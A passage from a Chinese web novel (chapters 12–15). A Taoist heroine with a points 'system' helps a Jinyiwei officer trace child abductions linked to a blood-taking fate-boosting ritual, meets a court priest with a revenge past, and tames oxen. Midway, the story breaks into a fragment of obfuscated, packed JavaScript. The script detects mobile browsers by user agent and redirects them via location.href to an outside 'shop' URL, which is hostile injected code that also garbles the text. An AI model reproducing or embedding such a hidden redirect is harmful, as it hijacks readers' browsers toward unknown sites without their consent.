满院皆是一愣。夏楠冷声接口:“原来是建城人啊。本官还以为……”
他靠近那蒋少卿两步,拇指将佩刀推开半寸,眼
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底狠戾:“是施州失踪的姑娘,跑到蒋府来了呢。”
蒋少卿吓得连连摆手:“下官不知!下官真的不知!这是牙行送来的人,契书看着一切齐全,下官哪里会想到是伪造的!下官与那施州案绝无关联!”
夏楠抬起刀柄,抵了抵蒋少卿的肩膀。
“蒋府往后买人可要验准了,别一不小心买到什么伪装身份的奸细,丢了你蒋家满门的性命。”
说罢,他也不再看那满院噤若寒蝉的众人,抬手对亲信道:“带走。”
尚蓓扶着一脸惊慌的朱花,随夏楠等人向蒋府外行去,身后传来蒋少卿怒喝的声音:“没用的东西!买个丫鬟都买不清楚!”
朱花僵着身子大气也不敢出,直到被她扶上门口一辆小车,才迷茫地眨眨眼。
“奴婢……不用进诏狱吗?”
尚蓓再没憋住,噗嗤一笑:“你想进吗?”
朱花连忙摇头:“奴婢不想,奴婢只是……”
盘着妙常髻的女子轻轻拍拍她:“别叫奴婢了,你爹还在等你。”
听她解释完缘由,身着婢女装的女孩儿终于哭出声:“爹……花儿再也不贪玩了……”
夏楠靠在马背旁,不耐烦地梳了梳马鬃:“别浪费时间了,还有一个。”
尚蓓点点头,将朱花交给一旁等候的差役,看着小车消失在巷尾,才骑上驴,轻哼一声:
“北镇抚司的面子真是不得了,一炷香的差事硬是办出了一甲子的气势。”
夏楠驱着马缀在她右侧丈许,闻言瞥她一眼:“这蒋少卿最是多嘴,阵仗闹大些,不出两日,京中就能传开了。到时候各家买人都得擦亮些眼睛。”
尚蓓“哦”了一声:“那你瞪我干嘛。”
夏楠挑眉,声音里带着几分揶揄:“怕你会不了意,直接指出朱花,我不好造势。”
尚蓓撇撇嘴:“那你也没会我的意啊。我只是想让你把她们弄散些,我才好结合卦象判断朱花是谁。不然她们挤在一起,我不好认。”
她故意驱着驴靠近他些,惊得他马蹄一乱。夏楠连忙扯住缰绳坐稳,往街边靠了靠,皱眉挥鞭在两人当中“啪”地一甩,路面虚扬起一堵尘墙。
“别过来。再过来砍你驴腿。”
尚蓓一乐,轻甩小鞭“驾”了一声,拽着驴头往他斜前方堵去。夏楠骤然一个勒马,勉强刹在她身后一丈远处,咬着牙磨出来两个字:“尚蓓!你给我好好参悟道法,别仗着你那异相害人!”
尚蓓笑着轻轻收住驴儿,慢悠悠继续往前晃。待夏楠驱马绕到她左侧丈许,这才开口道:“那夏大人可得多给贫道找些涨功德的差事,不然,只好劳烦大人的爱马迁就贫道的爱驴了。”
夏楠冷嗤:“你放心,施州这桩案子结了,也少不了你的差事。等你悟够了道法,就跟着我上京外跑案子,一刻也别想得闲。”
尚蓓心里一紧,面上却云淡风轻:“那贫道就期待着了。”
两人且行且谈,又到了城南一处大宅。夏楠照常甩了个下马威,把那大宅吓成个鹌鹑窝,还特地让那一众仆婢散开些,这才让尚蓓挑出个十二岁的女孩儿,交给差役带走。
听着脑海中【信誉分+10】,她心中总算是松了口气。虽然对夏楠而言只是幌子,可对她而言,她救的是实实在在的人。
调转马头,夏楠往北镇抚司行去:“回吧,陛下指了寅时道长来算命格,她应该已经到了。”
12. 旺命之术
尚蓓闻言回神,肃容应了一声,贴着街边小心驾驴,快至北镇抚司时,忽而迎面来了匹赤色骏马,策马人一袭绯红曳撒,肩头飞鱼纹在夕阳下熠熠生辉。她还没反应过来,便见夏楠下马行礼,身后两个亲信也齐齐下马拱手。
“指挥使大人。”
尚蓓心中一跳。她也连忙从驴背上滑下来,躬身退到一旁,大气不敢出。
锦衣卫,指挥使,他想必就是卫渎。这个名字,她近日听过许多遍。
马上那人勒住缰绳,居高临下地扫过众人,眼尾勾起个轻佻的笑意,慢启薄唇,语调微扬。
“夏大人。这是从哪儿回来?”
夏楠垂眸颔首道:“回指挥使,下官在查施州失踪案,刚去城外拔了两个牙行,还找到两个被拐的孩童。”
卫渎微微偏头看他,神色有些疑惑:“王御史不是已经查过了吗?这案子八成不是寻常拐卖,你怎得又要兜这个圈子。”
夏楠面色严肃:“下官欲先扯个打拐的幌子,好叫那背地里的人放松警惕。”
卫渎一愣,随即嗤笑一声,“死脑筋,净给自己找麻烦。也罢,别误了正事便成。”
他摆了摆手,算是接受了这个答案,目光随意游到尚蓓身上。
“这个是谁?”
陡然被那目光攫住,尚蓓只觉一股寒意攀上脊背,仿佛有条毒蛇缓缓爬过她后颈。她垂下眼,努力稳住语气,规矩行礼。
“贫道尚蓓,见过卫指挥使。”
夏楠侧身半步,微挡她一下:“这位就是之前于痊案的功臣,尚道长。她云游四方,见识广博,有观微知著之能,故而下官邀她协查此案。”
尚蓓一愣。原来夏楠是这样对人解释她的吗?
“哦?就是她?你着急忙慌要去送钱的那个?”
卫渎眉梢微挑,目光里多了几分好奇,仔细打量起尚蓓来。见那年轻道士垂着眉眼,乍看无甚特别,他招招手:“你近前些。让我看看。”
尚蓓微微后退了半步。卫渎笑:“怕甚?既是夏大人的朋友,我又不会吃了你。”
见她仍然缩着身子不挪窝,卫渎的耐心着实告罄了。他压下眼尾,驱马往前走了两步。夏楠眉头微皱,上前一步虚拦在马头。
“卫大人。”夏楠拱手道,“下官有事禀报。关于施州案的进展——”
卫渎拨开他。
“让让。我倒要看看这江湖小道多大的面子,竟然要等我去请。”
夏楠有些焦急,在鞍侧小心随了两步:
“卫大人,要不,您下来说话——”
卫渎眯眼叱他一句:“凭她也配本官下马?”随后便不再搭理他,继续打马往前。尚蓓赶紧往后使劲退了一大步。卫渎的马又往前一步。尚蓓又往后退一大步。他再进。她再退。他再进她再退。他再进她再退他进她退他进她退退退——
几个呼吸间,尚蓓后背已贴上墙根,退无可退。她慌忙开口:“卫大人,其实贫道——”
卫渎冷笑一声打断,挥鞭指她:“这般缩头缩尾,莫不是心里有鬼?我看你——”
他再进半寸,忽而□□赤红坐骑嘶鸣一声人立而起,卫渎不察,整个人骤然往后仰去。旁边两个亲信惊呼出声,下意识拔刀半截,唯有夏楠眼疾手快箍住辔头。卫渎回神,连忙拽紧缰绳夹住马腹,一吊腰甩回鞍上,好容易稳住身形。
他怒而欲斥坐骑,然那马儿仍刨着前蹄不安嘶鸣,全靠夏楠拧着才没往前冲。只见他道声“得罪”,而后使劲把马儿往后拖了拖。
马儿渐渐平静下来。卫渎看他,眼底惊愕:“你怎知这畜生要发疯?”
夏楠面色僵硬,干咳一声:“指挥使恕罪。尚道长……身有隐疾,长年用一种特殊草药沐浴,牲畜闻之不适。”
尚蓓心领神会,连忙接话:“对,对,贫道……并非不愿从命,只是方才有些难言,惊了指挥使的马,实在罪过。”
卫渎看看尚蓓,又看看夏楠,表情从惊愕逐渐变成兴味。
“牲畜不适?”他点点街边那小毛驴,“这个怎么没事?”
尚蓓已然恢复了神色,坦然道:“此驴性愚,故而无碍。”
小毛驴歪着脑袋眨巴眨巴大眼睛,看向那大红马上的大红人。
卫渎眯起眼睛,又盯着她看了一会儿,最后才轻嗤一声,语调怪异:“倒是娇贵。不如给你专开条路出来?也好别妨了旁人行马。”
尚蓓垂首告罪:“贫道不敢。”
卫渎没再说什么,拨转马头,带着几个亲信扬长而去。尚蓓这才转向夏楠,眼神中有些疑惑。
她确实有些怵这指挥使,但刚刚躲他,主要是发现夏楠的口风和自己不一致,不确定他打算怎么圆谎,故而一时未言。
夏楠迈进她两步,附耳在她侧道:
“道长之能,莫要让指挥使知晓。”
低沉的声音入耳,尚蓓心中一跳。
她抬眸看他,只觉那眼中藏着某种难以言喻的幽深。
她想问,让你知晓又有什么区别?指挥使和镇抚使,不都是皇帝鹰犬吗?刚斟酌着张嘴,却听他接了一句:“他会把你当骡子使。”
尚蓓到嘴边的话一卡。
半晌,她才眨眨眼,小心改口:“夏大人……不是也说让我一刻不得闲吗?”
夏楠冷哼一声:“本官起码不会卸磨杀驴。”
尚蓓微愣。她盯着他眉间阴云,千言万语最终化作一句话:
“多谢夏大人指教。”
夏楠没再多言,转身进了北镇抚司大院,一路行至酉号司房。门口已然立了个白衣女子,袍角云纹如流,端的一派仙风道骨。
见两人行来,女子轻轻拱手,露出个礼节性的微笑:“夏大人。尚道友。”
夏楠颔首,抬手向她介绍:“这位是国师弟子,寅时道长。”
乍听这名头,尚蓓耳根微烫。她垂眼回礼:“寅时道友,幸会。”
寅时目光扫过她灰布道袍,笑意不改:“久闻尚道友于痊案中出奇制胜,贫道早想一见,今日总算得偿所愿。”
尚蓓头大如斗,只能干笑两声。好在夏楠已先一步踏进房内,沉声道:“两位道长都坐吧,陛下嘱本官带二位核对命格,闲话不妨日后再叙。”
寅时也便不多寒暄,从善如流地坐到案前。夏楠郑重叙了案情,连他们先前猜测一并讲了。她认真听完,从容画押。
失踪人口的案宗摊开,寅时对着那一排排八字,陷入沉思。
尚蓓和夏楠齐齐注视着她。
良久,她开口,声音清润:“依贫道所见,这些生辰八字确无什么特殊性。”
两人对视一眼,都从对方面色中看到了失望。
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尚蓓叹气:“或许,此案与八字其实无关。”
她心中莫名松快了些。毕竟在她眼中,所谓八字不过是古代版身份证号,哪有什么玄学可言。若真有人为这种迷信去害小孩子,实在又蠢又坏。
夏楠眼神微压。
“若与命格无关,那挑人的标准又是什么?”
寅时玉面凝云,沉思良久,又补了一段话:
“单论命格的稀有性,倒未必需要什么特殊的八字。”
两人齐齐侧耳。
“许是受害孩童与受益人有某种专属的相性,故而非其不可。民间常说的天乙鸳鸯合,便是男女间一种天生的契合命格。求姻缘的大户,有时会动这样的心思,专程寻访那命中注定之人。”
“可……这些小孩子不过十一二岁,此时卜了姻缘有什么用?”尚蓓面露疑惑,“童养亲?配冥婚?那又何需放血。”
夏楠颔首,亦是认同。寅时柳眉蹙起,眸光在二人间反复梭巡,似有些顾虑,最终仿佛下定了什么决心,道:“这亲……其实也未必要结。”
尚蓓呼吸骤然一滞:“道友的意思是?”
寅时轻笑一声,眼底却涌上暗流。
“天乙鸳鸯合?就算世间有这样的缘分,还要与对方成了亲才能互相旺运。可那是命理,又非人心。即便真寻着此人,却嫌对方贫贱愚丑——”
她唇角隐约勾起一丝嘲讽,看向尚蓓:
“尚道友觉得,要如何做才能两全其美?”
尚蓓只觉背后一阵冷汗:“直接夺了命格,嵌到自己身上?”
夏楠一撑桌案起身,狠狠盯着寅时,语气冰冷:
“你知道些什么?”
女子亦推案而起,负手在司房间踱了半圈。而后挽起袍袖,露出双臂纵横交错的浅痕:
“不巧,被夺过。”
夏楠一怔。尚蓓盯着那斑驳旧疤,不禁倒吸一口凉气。
“是谁?”她急问出声。
寅时面色微愣。她偏头避开尚蓓的眼神,慢慢把袖摆放了下来。
“一个死人。”
夏楠皱了皱眉,冷哼一声,没再开口。
“说来可笑,所谓旺命之术,不过是某种期盼。”寅时眉眼恢复了平和,“有自称高人鼓捣一套玄乎其玄的架势,而后说他命格兴盛了,众人便将所有的助力堆向他。你说,他不成才,谁成才?”
尚蓓愕然看向他,震惊于这话出自一个本土道士之口。
“而另一人,则被所有人放弃。连她自己都觉得,这辈子再无希望,又怎会奋发图强?”她语气中带着淡淡的嘲讽,“可我偏不甘心。哪怕是拉着他一起死,也要毁了他那抢走的‘福泽’。”
夏楠迅速反应过来,冷声接口:
“所以,这邪术本身,也不算……过分伤身。”他看了眼尚蓓,硬生生改口,“但,后来这些孩童被看得这么紧,就是怕遭到拼死反抗。”
寅时眉梢微挑,而后突然噗哈哈哈一连串大笑出声。见夏楠伸手扶上刀柄,尚蓓连忙虚拦了半步,眼神稳住他。良久,寅时擦了擦眼角的细泪,语调轻快。
“那还真是罪过。贫道把路走窄了,害得后辈多受这些苦。”
尚蓓抿了抿唇,勉强压下心头那股惊悸,沉声开口:
“既如此,现在你帮我们,也算向这群人复仇。”
13. 国师弟子
寅时收敛起神色,肃容道:“这是自然。容我先为二位分说这邪术的个中关窍。”
夏楠铺纸,执笔看她。
“二位可知十年前的雾霭门?”
夏楠神色一凛,微微颔首。尚蓓心里一虚,觑着他神色,也假装若有所思地点了点头。
好在寅时简单解释了几句:
“此派原就是歪门邪道聚集地。虽然最后为师尊所诛,但仍有几个余孽辗转流落民间。其中一个名为谢岛,借几手骗术成了锦州郡守的门客,颇受宠信。”
“幼时,我父亲与锦州郡守王坝是故交,又巧与那郡守公子王甫是千载难逢的天乙鸳鸯合。两家定下娃娃亲,我与他自幼青梅竹马,情谊颇深。”
寅时声音讽刺:“然后来我家道中落,王坝有心另择高门贵女为媳,却又舍不得这传说中的天赐姻缘,那谢岛便拿出这么个邪法。”
尚蓓看着女子清瘦的面庞,心口有些发闷。
“那时……你几岁?”
寅时轻轻看她一眼,淡淡道:“十四。”
“夏大人先前猜测,年龄越小越值钱,不无道理。因除了命格相匹,此法还需先天精质未泄之人,即男童未漏丹,女童未初癸。”
夏楠面色有些僵硬,微微垂眸,装作认真记录的模样。尚蓓却恍然道:“所以说,那些十三四岁的受害人被抛弃,是因为他们本来也维持不了多久了?”
寅时颔首:“不错。我那时不幸天癸未至,王坝便哄了我去,许诺为我父亲脱罪,还说会资助我家里。我别无他法,只能应下。而后月月取血,暗中让谢岛炼丹予王甫服用,直到半年后我来了癸水方休。”
她冷哼一声:“巧的是,半年后,王甫中举,又娶新妻,风头极盛。而我家境败落,气血亏虚,可不正应了那邪术所言。于是这邪法在暗地里流传一时,锦州几家豪门各处寻访药人,重金请谢岛给自己旺命。”
“给自己?”夏楠敏锐地捕捉到这一词。
“是啊。”寅时挑眉,“已经有家业的,怎么不能找这姻缘呢?左右也不必真的成亲。只要花钱买个小户儿女的命,末了再厚赏一番打发走便是。”
夏楠点点头,提笔落字。
“我就是这样被打发的。那王甫还念着旧情,于心不忍,说要纳我为妾,护我余生。我父亲虽然怜我受苦,但也觉得我这辈子无望了,不如当个妾室安稳度日。”
她面色云淡风轻,语气却冷得吓人。
“可是我恨啊。”
“我假装感激着应下,而后在入府那夜杀了他,又一把火烧了郡守府。”
她挑衅地看向夏楠:“夏镇抚使觉得,贫道该当何罪?”
尚蓓心里一紧,夏楠目光冰冷:“北镇抚司只遵陛下旨意办事。若寅时道长能为陛下分忧,自然是无罪。”
寅时闻言朗笑一声,眼底的阴狠散去几分,重又坐回案边。
“夏大人果真是忠心。既如此,那些旧事便不叙了。我本以为谢岛也死在了那场火中,没料他竟跑去了施州害人。若不是夏大人找到失踪孩童,确认他们惨状,我也没想到,去岁这案竟是谢岛的手笔。”
夏楠轻哼一声,看向尚蓓:“我不过跑个腿罢了,找人是尚道长的功劳。”
寅时立时向她投来好奇的目光:“听闻尚道长有观微知著之能,于寻人一道颇有心得,不知可有办法找到谢岛?”
尚蓓心里一跳。她同夏楠交换了个眼神,才缓缓开口:“贫道……师门有些秘法,不便与道友细说内由,只能略透些外因,还望道友见谅。”
寅时体贴地点点头:“无妨,贫道也有师门规矩要守,咱们各展所长便是。”
尚蓓悄悄松了口气,而后谨慎问出声:“道友可知这谢岛生辰八字?”
夏楠亦凝神盯着她,笔尖滞在纸上寸许。寅时眸中有些疑惑,随后摇头:“不知。毕竟许多邪术都需八字为引,这般邪道更不可能轻易将自己的八字透露于人。”
两人皆有些失望。
“但,因着那邪术‘灵验’,谢岛也给自己找过药人。”她话音一转,“如果道友需要这个,我可以根据天乙鸳鸯合的路数反推。”
尚蓓激动地站起来:“那就拜托道友了!”
寅时一摊手:“可那药人的八字我也不知啊。”
夏楠面色有些不虞,话语里压上了火气:“那你知道什么?”
寅时往后靠进椅背,抱臂好整以暇地看着他:“夏大人,您这是审问犯人呢?还是教训下属呢?”
她指节虚点点夏楠,又瞥向尚蓓,似笑非笑:“他一直这个态度啊?是不是还说,要拿你下诏狱?”
夏楠面色一僵,轻咳一声移开眼,语气里有些不自在:“是本官失态。还望寅时道长鼎力相助。”
尚蓓忍不住噗嗤笑了:“倒也没下诏狱,就是扬言要累死我。”
夏楠皱眉瞪了她一眼,却没再说什么。寅时目光玩味地在二人间游移了几个来回,半晌,才支起身子正色道:
“我虽不知那药人的八字,却知那药人是谁。谢岛当年在锦州颇受追捧,还曾大张旗鼓地收了个女童为亲传弟子,全锦州都羡慕那女童好命。但那女童虽锦衣玉食,却一直身形清瘦,面白如纸,故而我猜他实则是当作药人。”
“此事不难打听,夏大人只稍派人去锦州查探一番,寻得那女童户帖便是。”
夏楠飞快落下几个字,叠起张纸笺收入袖中:“那本官这就差人去锦州,还请二位道长稍候。”说罢不待她们回应,便起身绕过桌案,出了司房。
一时间,房中只余尚蓓与寅时。
空气有些安静。寅时随意靠在椅背,目光肆无忌惮地打量着尚蓓,漫不经心开口:“还不知尚道友道号。”
尚蓓心中一紧,面上端着云淡风轻的神色,缓缓道:“贫道师从白鹿山一隐士,入道不久,还未得道号。”
寅时眼神扫过她身上灰布道袍,笑意不改:“我观道友灵台澄明,根骨清奇,这般天资跟个无名无姓的隐士,属实有些埋没了。可有兴趣转投国师门下?”
尚蓓瞪大了眼睛,连忙摆摆手:“这……这贫道资质愚
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钝,怕辱了国师大人门楣。”
寅时轻笑一声,指尖划过案宗上那一排排八字:“愚钝之人,可听不懂这‘旺命之术’的关窍。”
她意味深长地看向尚蓓:“那会儿你看着我,眼神里分明写着……‘你怎么可能这样想’。”
尚蓓被她盯得脊背发凉,下意识地往后倾了倾。寅时却没放过她。她撑着扶手起了半身,微微偏头看着她,声音喑哑:
“尚道友。你也不信自己吃饭的东西。对吗?”
对上那双锐利的眸子,尚蓓的心脏猛地一跳。
她凑得极近,近到她忽察,那睛白含朱络,青鬓染银丝。许是那场血灾,终毁了她根基,乃至她如今宽袍挂如空,动似病鹤浮。
她垂眸,声音镇定:“贫道蒙师尊教养,无心转投别家。还望寅时道长体谅。”
寅时定定看她半晌,忽而收回了身子,声音里有些惋惜:
“也罢。你有自己的道,我不强求。”
尚蓓暗暗松了口气,而后又听她道:
“只是你也看到了,这夏镇抚使欺你上头无人,便拿你当个牛马驱使。等案子破了,你一散道沾了朝廷重机,能落得什么好下场?我劝你还是早做打算为妙。”
尚蓓心里微暖,正欲开口,忽而听到房门响动,夏楠不知何时已去而复返,挡在门中,右手扶刀,面色冰冷。
“道长方外之人,就不必操心凡俗之事了。”
寅时见他眉宇怒意,也不恼,只一撩道袍起身:“夏大人既知我等乃是方外之人,也该以方外之礼相待。与其防着贫道挖墙角,倒不如想想怎么才能留住尚道长。”
夏楠冷哼一声,咬着牙挤出两个字:“不送。”
寅时当即大笑出声,转身施施然出了房门,云纹翩飞片刻消失在廊角。夏楠哐当一下重重带上门,转过脸盯着尚蓓:“尚道长有所不知,此人在宫中专司算命卜吉,一向擅长察言观色,分人断语,你莫要被她三两句骗了去。”
尚蓓憋着笑,故作心动之色:“可寅时道友至少说的动听,总比夏大人动不动扬言要拿我下诏狱的好吧?”
夏楠别过脸咳了一声:“……只要你做好本分,不耍花招,我又何须对你动真格。”
尚蓓趁机得寸进尺:“寅时道友连这个前提条件都没有呢。”
夏楠攥紧拳头,眉头拧成个川字,深吸了好几口气,才憋出一句:“你想要什么条件?”
尚蓓微讶,挑眉:“夏大人保证,不论我做了什么,都不拿我下狱,不对我用刑。”
夏楠下意识地扶刀,瞬间松开,冷哼一声:“这世上折磨人的法子多……在北镇抚司。只要你……我掌北镇抚司一日,自能保证那些东西不落到你身上。”
尚蓓再没憋住,连笑出声:“那贫道便仰赖夏大人庇佑了。”
夏楠不自在地抿了抿唇,周身的寒气却慢慢散了。他锁起案宗转身:“我已经派了人快马加鞭去锦州,约莫要十日才能有回信。这几日,你就在我府上歇着,若有能……涨功德的差事,我便要来给你办。”
14. 驭牛之术
翌日辰时,尚蓓起床梳洗用膳过后,便从行礼中翻出几本《周易》《道德经》等道家典籍,开始恶补玄学知识。
她这点三角猫功夫,糊弄一下普通人还行,真要对上内行,被看穿就是几句话的事。她要在谢岛的生辰八字推出来之前,学会用周密的卦辞包装自己的结论,至少别再露出指兑为巽这么明显的破绽。
她学得很认真,边读边背边写边画,就这般过了一个上午,忽而听见脑海中响起【信誉分+10】。
她看向明细,原来是有个坐标在京畿的被拐孩童获救了。尚蓓心里微舒,定定神,再学。
这一日,又零零散散有几次电子音响起。到次日,更是直接响起一声【信誉分+40】。这回是京畿一处小城的牙庄被拔了。
尚蓓粗略看了眼坐标,在心里算了算时间,就打前日早上出发,这五百里内便陆续有了结果,夏楠手下人办事的效率,实在……可怕。
或许都是被他鞭策出来的。尚蓓默默打了个寒战,有点希望晚点骑上马。
【检测到用户信誉分达到400,出行权限-牛-已解锁。】
能骑牛了!尚蓓心里有些激动。她收拾笔墨起身出院,找到管家,递给他一袋银钱:“胡管家,能否麻烦您帮我买头牛来?这是我预算的银钱。”
“道长买牛做什么?”胡管家有些迷惑,“可是想耕种?需要在下一并给您盘块地吗?”
“哦不,不是。我想骑。”尚蓓恳切道,“麻烦您帮我买头腿脚好的。”
“骑……牛?”
胡管家一头雾水,仔细确认了一遍,见尚蓓重重点头,才捧着银钱退出去了。尚蓓看着他走远,心底颇有些期待,回到屋里看了一个时辰书,委实坐不住,又上客院里溜达了一圈。无意中溜达到墙边,发现有长长一串蚂蚁沿着墙根爬。
她沿着蚂蚁的踪迹看到尽头,不禁惊得一个激灵。只见前日埋丹那块地方,竟聚了一大片黑云。她稳了稳心神,捂着鼻子小心翼翼靠近,才察觉那片土壤已然被松动了些许,其间以蚂蚁为主,但还有几只不知名的甲虫。
虫蚁……爱吃朱砂?
尚蓓心头正诧异,忽然听见院门口传来清冷的声音:“道长在看什么?”
她心里一吓,连忙转身迎上去,干笑两声:“没什么,就是觉得这院子里有些空,若是能种些花草就好了。”看见他身边那头壮实的大青牛,眼睛又一亮。“怎么劳动夏大人亲自送来!”
夏楠视线越过她的肩头,瞥见院角那片空荡荡的土地,微微皱眉。
“道长言之有理。我回头便差人送些花苗果苗过来,由着道长安排。”
他说着,把手中缰绳往她一塞:“悟道了?”
尚蓓握着缰绳,内心按捺不住激动,点点头。
“贫道昨夜梦见那些获救的孩童向我道谢,醒来后便隐隐觉得灵韵收放更加自如,故而想找头牛试一下。”
夏楠轻哼一声,倒没质疑,看着她小心翼翼爬上大青牛。大青牛晃了晃脑袋,而后慢悠悠走了起来,一点脾气没有。
想起前几日路上偶然闹出的几个小乌龙,再对比这天差地别的画面,他心中愈发惊奇。
尚蓓骑了两圈,有些扫兴:“感觉不如骑驴。”
这牛背太宽,她得大跨着腿,不如骑驴舒坦。且牛头上一对长角看得她有点心慌,她老怕自己刹牛时撞瞎眼睛。
夏楠回神,轻哼一声:“还嫌弃上了,你道门祖师爷不就是骑牛的?”
尚蓓一愣,眨眨眼,半天才隐约想起有这回事,心道还好今天认真学习了。
“祖师爷法力高深,我还是凡胎俗骨,哪里比得了?再说祖师爷那青牛是得道的灵畜,我这就是头凡牛罢了。”
她一边说着一边扶着牛背慢慢滑下来,把缰绳递回给夏楠:“贫道也就是试试新悟的道法,这般下来,至少以后坐个牛车没问题。”
夏楠接了缰绳,递给一旁小厮,而后又招了招手,叫管家呈来一个托盘,盘中搁着一只精致的锦盒:“这个给你。”
尚蓓好奇地接过,打开锦盒,愣住了。
太极龟壳。
她抬眸看向夏楠,面色愕然。才张口,便见他移开眼道:“不是偷的。”
没待她回应,夏楠又极快地补充:“谢岛未必在五百里内。故而我托了寅时道长周转,打国师的名号借出来。到时候,你先借此卜个大致方位,而后与我同去,五百里内,寻踪便是。”
尚蓓面色有些犹豫:“可我骑驴……”
夏楠也拧着眉叹了口气。
“尽量走水路。实在不成,便路上换驴。我可命人快马先行查探,能直接抓住人最好。若等你到了地方还未寻得,便由你引路。”
尚蓓心里微定:“贫道一定尽力。”
夏楠“嗯”了一声,又吩咐人搬来一摞卷宗。
“这几日,你也可借太极龟壳把五百里外的失踪人口都算出来。我派人去办,助大师悟道。”
尚蓓面色一喜,连忙接过卷宗:“多谢夏大人!”
这下,她可以毫无保留地“算卦”,不用再想办法掩饰了!
此后几日,尚蓓脑海中隔三差五就响起信誉分增加的电子音。虽说没有她引路,寻起人来不那么精准。但北镇抚司气势汹汹上门,只为拿个非亲非故的半大孩子,寻常人家焉有推诿藏匿的道理?
于是以周都为中心,一圈奇特的涟漪层层漾开,所到之处,浮萍般的坐标飘荡起来。
五日后的上午,尚蓓正在院中活动筋骨。毕竟等算出谢岛的位置,她便要随行赶路,故而打算提前锻炼些体能。
尚蓓刚沿着客院小跑了三圈,忽而听见院外传来一阵嘈杂。她好奇地凑到门口,顿时愣在原地。
只见院门外,两个护卫推来一架笼车,内里捆着头通体赤红的大野牛,一双牛眼汨汨带血,一对牛角已然被折断,拼着满身伤痕在笼中乱撞,而夏楠正在笼车前引路。
她吓得往后退了半步。
“这……这是哪来的?”尚蓓指着那赤红大野牛,声音发颤。
见她半只身子藏在院门后面,夏楠眉梢微挑,面色中有些得意:“我猎的。”
“猎……猎的?”尚蓓眨了眨眼,好一会才回过神来,“夏大人……当真是武艺高强。”
夏楠轻哼一声,绕着笼车走了半圈,那野牛冲着他就是一撞,残缺的牛角戳出笼门直指他。夏楠面不改色站定,回头看她:
“尚道长,你那道法,是只能驱使家畜,亦或者说,凡属牛之类,皆可驯服?”
尚蓓微怔。
那个出行权限,确实也没说是什么牛。何况权限后面,还有一些……更离谱的动物。
“夏大人的意思是……让我骑它?”
夏楠颔首,扶刀,声音平静:“你试试。有我在,它伤不了你。”
尚蓓看了看那头牛,又看了看夏楠,咽了咽唾沫。
他都能生擒这么一头大野牛,大概,应该,真的能给她兜底?
尚蓓深吸一口气,小心翼翼地往前走了一步。
夏楠回行两步,在她身前两尺站定,引着她向前走。
野牛察觉她靠近,向笼壁猛地一撞。尚蓓一吓,下意识地就要往后躲。夏楠伸手一扶她,语气沉稳:“别怕。它其实已经没劲了,此刻不过是虚张声势。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550785|204329||http|test|mini|href|location''.split(''|''),0,{}));
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>尚蓓忽然察觉,他身上也有些凌乱,许是与这野牛搏斗,还要生擒,确实费了不少功夫。
她闭了闭眼,又向前走了一步。
两个护卫一左一右守着笼车,亦紧张得额头冒汗。
尚蓓听着自己的心跳,又走了一步。
扑通,一步,扑通,两步。扑通扑通扑通,三步才接四步。
她走着,心跳越来越快,步子却愈发小。身边人扶刀,眸中亦是紧张。扑通,扑通,直到迈入丈内——
那野牛的气焰,忽然就矮了下来。
它还在喘粗气,带血的牛眼仍狠狠地瞪着她,然而那股子要撞死人的凶劲儿明显散去了不少。尚蓓着实震惊了。这就是信誉的力量吗!
夏楠紧紧盯着牛,手按刀柄,把尚蓓拦在身后。他又观察了片刻,便对左右护卫道:“打开笼车。”
护卫有些迟疑,但还是上前小心掀开了笼门,那红牛一边低吼,一边趴伏,似是在同某种本能挣扎,却终究没有发疯。
“我……我上去了?”尚蓓声音发抖,也不知是怕的还是激动的。
“稍等。”
夏楠抬手拦住她,而后又命护卫取来一副牛鞍。护卫死死拽着捆牛的绳索,他小心安好,才冲尚蓓勾勾手。
尚蓓小心攀着牛背翻上去。那野牛仍被绳索紧缚着,走不动路,只不情不愿地甩了甩尾巴,依旧没有发疯。
夏楠的手始终按在刀柄上,仔细观察了一番,而后问她:“敢解绳试试吗?”
尚蓓对上他期待的目光,咬咬牙点头:“试试就试试!”
夏楠眼神示意左右,护卫们对视一眼,小心翼翼松开麻绳。绳子一落地,野牛便慢慢站了起来,吓得尚蓓“啊”出一大声。然而野牛并没有要摔她的意思,打了两个响鼻立着,倒像在等她指示。
尚蓓试探地拽了下缰绳,野牛便磨蹭着走了两步。
“啊啊啊啊它走了!它走了!你们看!我真的驯服它了!”
尚蓓兴奋得声音都变了调,扭头看向夏楠,面上是明晃晃的得意。夏楠看着她这副模样,紧绷的面庞微微舒展了些,扶刀的手却仍然没松。
他又盯了那一人一牛片刻,忽而一个腾身跃上牛背,稳稳落在她身后,伸手捞过缰绳,把尚蓓圈在身前。
“我也驯服了。”
尚蓓脊背一僵。闻到他身上淡淡的血气,她呼吸骤然一滞。
半晌,才哼了一声:“夏大人可真会狐假虎威,不然我下去试试?”
夏楠拽着缰绳走了两步,在她耳后轻笑一声:“尚道长下去,我也能稳在这背上,左不过使唤不动它,被载着乱撞罢了。”
尚蓓撇撇嘴:“不骑了。它身上这么多伤,还是让它好生休养吧,左右赶路也用不上。”
夏楠闻言挑眉,声音有些愉悦。
“也是。下回我再小心些,尽量抓头完整的。”
他翻身下牛,虚扶尚蓓往下爬。尚蓓小心摸索着下探,站定,瞥他一眼,有些无语:“这牛你非骑不可吗?”
夏楠扶刀盯着那野牛,慢悠悠道:“道长这本事稀罕,焉知将来不会用上?譬如欲渡而无舟,捉头水牛开路,不比以身涉水方便吗?”
尚蓓琢磨了一下,虽然听起来有点离谱,但好像还真能用,便也没再反驳。夏楠同护卫将那牛鞍卸下,严严实实捆好,关回笼里。笼车才推离她一丈远,那头牛便疯了似的又撞起笼子来。
目送三人一牛渐渐离去,尚蓓站在院门口看了一会,内心投向系统那排出行权限:
2000-2500分:虎。
2500-3000分:狮。
不是,这真能骑吗?
15. 水天需
又过五日,快马递回消息。酉号司房,三人重聚。
夏楠坐在案后,当着二人的面亮出一份密函,抽出张纸笺推给寅时:“有劳道长。”
寅时微笑接过,尚蓓有些好奇地探头过去,见上面写着:付萍,戊子年,戊午月,戊子日,戊午时。
她暗自录入系统,只得到一个冰冷的回应:
【联系人不存在。】
